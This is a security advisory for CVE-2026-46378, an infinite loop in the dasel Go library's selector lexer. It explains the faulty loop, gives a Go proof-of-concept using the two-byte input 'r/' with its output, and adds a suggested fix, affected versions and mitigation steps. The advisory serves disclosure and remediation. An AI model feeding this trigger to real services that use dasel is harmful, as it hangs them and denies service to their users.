CVE-2026-46378 is a medium-severity (CVSS 6.2) CWE-835 vulnerability in github.com/tomwright/dasel/v3. A fix is available for github.com/tomwright/dasel/v3 — see the affected versions and patch details below.
Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-46378.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-46378 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 381,682 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/tomwright/dasel/v3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
dasel's selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as r/abc. A 2-byte input (r/) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely.
I confirmed the issue on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on master commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. I also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). No fix is available yet.
Details
The bug is in the matchRegexPattern closure within (*Tokenizer).parseCurRune in selector/lexer/tokenize.go#L237-L247:
matchRegexPattern := func(pos int) *Token {
if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
return nil
}
start := pos
pos += 2
for !p.peekRuneEqual(pos, '/') { // line 243
pos++
}
pos++
return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start))
}
When no closing / exists, peekRuneEqual returns false when pos >= srcLen (because the bounds check at line 40 returns false for out-of-range positions). Since !false = true, the loop condition remains true and pos increments indefinitely. The function never returns.
Notably, the same function already handles unterminated quoted strings by returning UnexpectedEOFError, but the regex pattern path does not perform a similar end-of-input check.
Minimal trigger: r/ (2 bytes)
Test environment:
- MacBook Air (Apple M2), macOS / Darwin
arm64 - Go
1.26.1 - dasel
v3.3.1(fba653c7f248aff10f2b89fca93929b64707dfc8)
PoC
package main
import (
"fmt"
"runtime"
"time"
"github.com/tomwright/dasel/v3/selector/lexer"
)
func main() {
fmt.Printf("Go version: %s\n", runtime.Version())
fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
fmt.Println()
for _, input := range []string{"r/unterminated", "r/"} {
fmt.Printf("Input: %s\n", input)
done := make(chan string, 1)
go func() {
t := lexer.NewTokenizer(input)
start := time.Now()
tokens, err := t.Tokenize()
elapsed := time.Since(start)
if err != nil {
done <- fmt.Sprintf("Error after %v: %v", elapsed, err)
} else {
done <- fmt.Sprintf("OK after %v: %d tokens", elapsed, len(tokens))
}
}()
select {
case result := <-done:
fmt.Println(result)
case <-time.After(5 * time.Second):
fmt.Println("CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop")
}
fmt.Println()
}
}
Observed output on v3.3.1 in the test environment above:
Go version: go1.26.1
GOARCH: arm64
Input: r/unterminated
CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop
Input: r/
CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop
Impact
An attacker who can control or influence the selector/query string passed to dasel can cause the tokenizer to enter a non-terminating loop. The affected process consumes 100% CPU on one core and does not make progress until externally terminated.
The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:
- Web applications using dasel for dynamic data querying
- Applications that construct selectors from user input
- Shared tooling environments where selectors are passed as parameters
Suggested Fix
The regex scanner should bounds-check and return an error on unterminated regex literals, consistent with unterminated quoted strings. Since matchRegexPattern currently returns *Token, the fix also requires changing the function signature to propagate errors. For example:
matchRegexPattern := func(pos int) (*Token, error) {
if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
return nil, nil
}
start := pos
pos += 2
for pos < p.srcLen && p.src[pos] != '/' {
pos++
}
if pos >= p.srcLen {
return nil, &UnexpectedEOFError{Pos: pos}
}
pos++
return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/tomwright/dasel/v3 | ≥ 3.0.0&&< 3.10.1 | 3.10.1go get github.com/tomwright/dasel/v3@v3.10.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/tomwright/dasel/v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/tomwright/dasel/v3 to 3.10.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-46378 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-46378 in your dependencies?
Find it across Go, including transitive dependencies.